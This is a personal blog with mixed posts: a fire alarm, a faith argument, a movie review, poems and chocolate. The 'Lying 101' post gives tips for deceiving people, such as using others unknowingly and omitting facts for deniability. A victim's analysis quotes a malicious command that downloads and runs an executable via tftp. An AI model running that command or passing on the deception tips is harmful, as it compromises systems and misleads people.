Some Excitement

It is rare that something ever happens. Most trips are boring. Nothing ever happens.

Today however something happened.

The Fire Alarm went off.

Human behavior analysis under these conditions is rather interesting. Personally I just grabbed my wallet and keys and headed next door to the mac’s. Other people packed bags and literally run down the stairs and outside, others sat in the lobby covering their ears. 

The front desk staff informed us that it was a false alarm, but we decided to get out of the noise and over to mac’s. Outdoors a crowd of guests had collected speculating on what was going on.

While at mac’s we witnessed 5 fire trucks, 1 ambulance, 1 fire district chief, and a hazzmat truck speed to the hotel. By the time we got back the trucks were already leaving.

Not sure what was going on. Could ask I guess, but from what I heard it may have been a prank.

yep. so. slightly less boring then usual.

Ok, I am going to argue.

I came across the the following blog:

I don’t really like it when people do that. it is just a tad bit annoying.

"The Secret" is very simple, Faith. If you have faith, things happen. no hocus pocus, no religion, just faith.

My argument has already been made for me:

Matthew 17:20 (New International Version)

He replied, "Because you have so little faith. I tell you the truth, if you have faith as small as a mustard seed, you can say to this mountain, ‘Move from here to there’ and it will move. Nothing will be impossible for you."

Luke 17:6 (New International Version)

He replied, "If you have faith as small as a mustard seed, you can say to this mulberry tree, ‘Be uprooted and planted in the sea,’ and it will obey you.

Now I know what you are thinking. No, actually I do. You may as well go ahead say it

Lying 101

Recent events have lead me to this strange and inexplicable realization that the younger generation of our day does not know now to lie. Does not stop them from trying though.

So, here are a few pointers.


The truth shall set you free.

All too often when someone is lying about something they feel the need to lie about surrounding issues to cover up the primary lie. It is generally recommended that you don’t do this. In fact tell as much of the truth as possible while still maintaining your lie. There are a couple of reasons for this. A) lying is unnatural, that is why lie detectors work. Keep things simple and easy. A lie can effect everything from what you say to how you say it, so be careful when composing one. B) Assume they will check up on the facts. They may not be able to prove the lie, but if you lie about too much there will be inevitably something for them to find.

If you don’t think they are likely to check, it is possible to fudge some of the small details, dates times, make the lie about something else. It will be harder for them to detect without verifying the facts themselves


simple. NEVER NEVER NEVER give more information then required and or asked for. Especially if it is a lie.


Don’t over complicate. it just makes it harder to maintain and remember. I told you what? oh yeah. kinda gives it all away. Plus every bit of information you give simply is more things that can be checked on.

4)  HELP

If you are going to involve other people in a lie, don’t go for a mass choreographed lying session. Backup is wonderful and adds a bit of dimension to any lie, however it toes make things harder to control. So slip ups are more common. It is best to use people without their knowledge if at all possible


If you are lying to a person in person, be careful of you posture voice and body language. Be natural. But don’t be self conscious, It is easy to spot someone who is working hard to control what they are doing. But also easy to spot someone who blinks allot when they are lying.


Get them right or go home, do some research before hand. Either that or keep it simple.


Sometimes it is not even required to lie, just simply omit something, you then also have the possibility of deniability.


Don’t want to talk about something, don’t want to say something, don’t want to answer a question? at times it is even possible to ignore the whole issue and avoid  lie. Focus one thing they asked, change the subject or just pretend you didn’t hear. They may notice, but unless they push, not much will happen.


unless you have to.

So there is a basic rundown of how to be a better lier. yay.

Computator my Tormentor And Thats The Way It Is.

ACK. I just lost everything I wrote 🙁

ok. Start again. starting now……………….

Today I went on one of my computers and noticed an interesting error message: "unsupported parameter -i" (or something like this) This was not really a new message. I have seen it, and ignored it many times. The message comes from something that randomly shows up in my run dialog box:

"%comspec% /c echo Repairing user32.dll & echo Please wait… & tftp -i GET ywxp.exe & start ywxp&"

I have not really taken a look at it before, so lets do that now.

%comspec% is an environment variable pointing to your cmd.exe file. (32 bit dos prompt)

/c tells cmd.exe to execute the command(s) on the command line then exit

the Commands on the command line are "echo Repairing user32.dll & echo Please wait… & tftp -i GET ywxp.exe & start ywxp&"

The & sign separates different commands on the command line

echo Repairing user32.dll & echo Please wait…  simply prints the following on the screen

Repairing user32.dll
Please wait…

tftp is a program provided with all NT/2000/xp (i am assuming)  computers that downloads files from a remote server.

-i tells tftp to use binary mode (no converting end of line characters)  is the ip address we are connecting to. The serve is located in Freedom Wisconsin near Appleton. They are connected using SBCGlobal and are on dsl. so, nothing really fancy.

Note: The following address also show up in my history: – (Napanee, bell canada, ontario) – (Miami, florida, Bellsouth) 
GET indicates that we are downloading something

ywxp.exe is the file we are retrieving

Start ywxp.exe runs the file we just downloaded

I have also gotten neml.exe and vtst.exe

I have no idea what these programs do, and since I cannot connect to any of these addresses I may never know. 🙁 I want to download them and see what happens.

However I am not completely sure how this gets onto my computer in the first place. Somehow something opens the run dialog types that in and tries to run it. but I am at a loss how.

I am currently in the process of doing scans on my system I have done  Ad-aware and spy-bot. (WHO CARES ABOUT COOKIES?) and currently doing an active scan by panda software. if nothing shows up, trend micro, and possibly AVG.

The system in question is a windows NT 4.0 6a, so. honestly who cares if they get in. nothing for them to do if they are expecting XP.

Out of curiosity I checked my application logs on the computer to see what has been going on. one interesting thing keeps popping up.

Someone from Moose Jaw is making multiple attempts to connect to my computer. – (moose jaw, saskatchewan, sasktel)

A bit earlier this month someone from korea, using the same program. – Sunchon, Cholla-namdo, Korea, Korea telecom.

And a bit earlier someone in india, again with the same program – Bangalore, Karnataka, India, Bharti Broadband – (Scandent Solutions Corporation Limited)

Now. Either a lot of people are trying to get into my system (strange and unlikely) or there are a lot of trojans or the like out there.

Probably should be noted that a lot of people in china seem to be interested in getting into my router. 

Yeah. almost makes me want to do something illegal. like take over their computers. or whatnot.

Still bothers me how someone managed to get far enough to try downloading stuff though.

if I feel energetic and can avoid being detected by people who disapprove of such things. I may attempt to find out more about these computers. I have however seen trojans who do similar things like this. At one hotel we have, a worm had installed itself and was spreading through a vulnerability in one of the version of VNC that w used. we have since upgraded. The real purpose of the worm was unknown, but probably was meant to give someone access to a lot of computers.

Ah whatever, will see what I can keep track of, monitoring audits and whatnot.

At least it gave me something to write about.

Some Sorta Taggy Thing That Someone Tagged Me With

Here are the rules: Each player of this game starts with the ‘six weird things about me’ blog post. People who get tagged need to write their own six weird things post and state the rules clearly. At the end of the post, tag six more people and don’t forget to leave a comment on their blog to tell them they have been tagged and tell them to read your blog.

1) Some people have the delusion that I have a red thing on my glasses. I don’t, it is all in your imagination. trust me.

2) If forced to choose a favorite colour, I will choose magenta, fuchsia or hot pink. Depending on who asks.

3) I refuse to follow the rules for blog tagging such as this.

4) I know everything, I just don’t know it yet.

5) My life was governed a bunch of strange rules, that I have never bothered to write down. I have since rebelled and have a whole new set of rules. Most of them I don’t know.

6) For some reason this laptop has a poor connection to the wireless network in the ONE spot where I want it. Maybe I should move the AP. or get a new one. hm. supposed to be about me. um. I make a poor antenna.

Anyone who reads this is automatically tagged by the special automatic tagging system.

Infernal Affairs

I was bored one night and decided to rent some movies on max. I like giving sasktel money, shutup.

Anyways, I chose Infernal Affairs, mostly because I have never seen them (so I thought) and because there were three of them. for nine dollars, for 6 nights. yay.

Now. these movies, I think, are awesome. They were made in Hong Kong.  The first movie was dubbed so, I really did not have to be watching the screen at the same time, which was nice as I was attempting to get some work done at the same time. Now, If you have seen "The departed" you have seen "Infernal Affairs 1" almost word for word. I hated the departed. However the Hong Kong version (the original) I thought was much better done, but since I recognized it early on, It was not hard to see what was coming.

Infernal Affairs 2 and 3, are a bit different, Infact I would call them odd. And at the same time brilliant. both the second and third movies continue on the story of the first movie, before, during, and after the time of the first movie. If you can get your head around the many flash backs, semi random time changes and fast scrolling subtitles I am pretty sure you would like them.  The whole story comes full circle at the end of the third movie. Honestly, I think the writing was brilliant.

I then rented home alone 1 and 2. um. no comment there 🙂

Black Bubbles

Black Bubbles, the substance of doom.
Threaten Lives, suffocating all in the room.

Black Bubbles, the poison you like to fear.
Killing Things,  just a dab in their ear.

Black Bubbles, entertaining to the end.
Mesmerized, they will kill you my friend.

Black Bubbles, so shiny and slick.
Can’t Hold Them, they just won’t stick.

Black Bubbles, energetic and wild.
More Reasons, Here’s a list I’ve compiled.

Black Bubbles, they just want to play
Don’t listen To Them, Its best to stay away.


The colours shimmer in the light.
The water refracting.
Little rainbows appear.

The Betta fish swims.
So beautiful.
So small.

So fragile.

Something to do with Chocolate

So, I was asked something about chocolate. Is White Chocolate really Chocolate.

The first person I asked said, well duh, its chocolate. Well, not in those words. But this person generally knows all things, so,  I believe it.

Anyways, before I asked, I did some research. I bought all the different types of chocolate they had at liquidation world. 

Often you will see "unsweetened Chocolate" or "semi sweet Chocolate" as an ingredient. Other types of chocolate such as Dark Chocolate, Milk Chocolate and the like contain  Chocolate as an ingredient. White Chocolate contains its own list of ingredients, one of which is "Cocoa Butter".  "Regular Chocolate" is composed of such ingredients as Cocoa liqueur and other cocoa stuffs.

So. um. there you go. White Chocolate is real chocolate, just different real chocolate. 🙂 

or something. Go look it up for your self, YES i was too lazy to go to wikipedia.

if it says confectio on it, probably fake.